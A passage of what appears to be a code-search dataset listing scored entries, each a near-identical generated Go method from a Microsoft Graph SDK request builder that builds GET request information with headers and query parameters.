requestConfiguration *ManagedTenantsManagedTenantEmailNotificationsRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "46843419d9f5c443eca49700791818d2", "score": "0.6515815", "text": "func (m *ItemConversationsItemThreadsItemPostsItemInReplyToExtensionsExtensionItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ItemConversationsItemThreadsItemPostsItemInReplyToExtensionsExtensionItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.urlTemplate\n requestInfo.PathParameters = m.pathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "b2ccb78a556e38f0329c4fe91ca26bbb", "score": "0.65043193", "text": "func (m *CallsItemParticipantsParticipantItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *CallsItemParticipantsParticipantItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "a118a143df0f631301cb7efcfb0ce7da", "score": "0.6501518", "text": "func (m *ItemMailFoldersItemChildFoldersItemMessageRulesRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ItemMailFoldersItemChildFoldersItemMessageRulesRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "e41b46529f747fa75668f31306367979", "score": "0.6499836", "text": "func (m *ThreatSubmissionUrlThreatsRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ThreatSubmissionUrlThreatsRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "7b10d1679e69acad0cb609b57cfb6b5c", "score": "0.648927", "text": "func (m *DeviceManagementRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *DeviceManagementRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "25094628b95cc96b3ccfb851a57ded2e", "score": "0.64822143", "text": "func (m *LabelsRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *LabelsRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "855e9f19ba6961190592c2bcbc0f546b", "score": "0.6478843", "text": "func (m *ItemPartnerInformationRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ItemPartnerInformationRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "98a4890399d04b404e6d1cbbf91b20bd", "score": "0.6454633", "text": "func (m *ResourceSpecificPermissionGrantItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ResourceSpecificPermissionGrantItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "564f047b7627245a972c71ae8f158b03", "score": "0.64508605", "text": "func (m *ItemTeamChannelsItemMessagesItemRepliesItemHostedContentsChatMessageHostedContentItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ItemTeamChannelsItemMessagesItemRepliesItemHostedContentsChatMessageHostedContentItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "6068eeb4acfd6cbcd87d74d97baadb53", "score": "0.64319634", "text": "func (m *GovernanceSubjectItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *GovernanceSubjectItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "3d8b17a6ee81f23c8f6866653082699b", "score": "0.6411221", "text": "func (m *ClassesRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ClassesRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "f4fcd7db9edfc63462aae8efe714e4bc", "score": "0.6401807", "text": "func (m *ItemFindRoomListsRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ItemFindRoomListsRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "c168461f71154dfcf826884fd6328249", "score": "0.63808936", "text": "func (m *ItemStaffMembersRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ItemStaffMembersRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "c714fdd210960f2c320ccabaa2274bba", "score": "0.63792735", "text": "func (m *UserItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *UserItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "42b0204591219eb0bda9be9e0556e0e6", "score": "0.6375779", "text": "func (m *PrivilegedAccessGroupRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *PrivilegedAccessGroupRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "64dc1122b3bb81fc8b30a264e5576f63", "score": "0.63692886", "text": "func (m *AppCredentialSignInActivitiesRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *AppCredentialSignInActivitiesRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "d12c469b59fe4401a57a29e987f10cef", "score": "0.6349505", "text": "func (m *MeAssignmentsEducationAssignmentItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *MeAssignmentsEducationAssignmentItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "b13e2779701d71a5df7efc4c41526b28", "score": "0.634428", "text": "func (m *UserExperienceAnalyticsRemoteConnectionUserExperienceAnalyticsRemoteConnectionItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *UserExperienceAnalyticsRemoteConnectionUserExperienceAnalyticsRemoteConnectionItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "b221d01b93d006e34486cff46fbacf7a", "score": "0.6305059", "text": "func (m *ItemOutlookTaskGroupsRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ItemOutlookTaskGroupsRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "69bf579d9ca0fec73a1dfd401a231c04", "score": "0.6271849", "text": "func (m *ItemReviewersRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ItemReviewersRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "e07f14e39c87abef7c173b1f78302b9f", "score": "0.62653816", "text": "func (m *ItemAuthenticationPhoneMethodsPhoneAuthenticationMethodItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ItemAuthenticationPhoneMethodsPhoneAuthenticationMethodItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "2bfcf5a6bf2524c5eb6e61d07069f512", "score": "0.62570256", "text": "func (m *ItemInformationProtectionRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ItemInformationProtectionRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "c66dee094ab3e8b7e415435e8463a128", "score": "0.6252005", "text": "func (m *TeamTemplatesItemDefinitionsItemTeamDefinitionIncomingChannelsChannelItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *TeamTemplatesItemDefinitionsItemTeamDefinitionIncomingChannelsChannelItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "5b641b49b851b931339604e2110a5a69", "score": "0.62489295", "text": "func (m *ItemFederationConfigurationInternalDomainFederationItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ItemFederationConfigurationInternalDomainFederationItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.urlTemplate\n requestInfo.PathParameters = m.pathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "12a98e43f9ef5cddbffe16366fbb957f", "score": "0.6240497", "text": "func (m *ServicePrincipalSignInActivitiesRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ServicePrincipalSignInActivitiesRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "17a4d854d8447fb4491fe553d020aa76", "score": "0.62320846", "text": "func (m *ItemDevicesItemCommandsCommandItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ItemDevicesItemCommandsCommandItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "ce2629ca7f0aa8eff1a3c5665058eeef", "score": "0.6229127", "text": "func (m *ItemChatsItemMessagesItemRepliesItemHostedContentsItemValueContentRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ItemChatsItemMessagesItemRepliesItemHostedContentsItemValueContentRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = 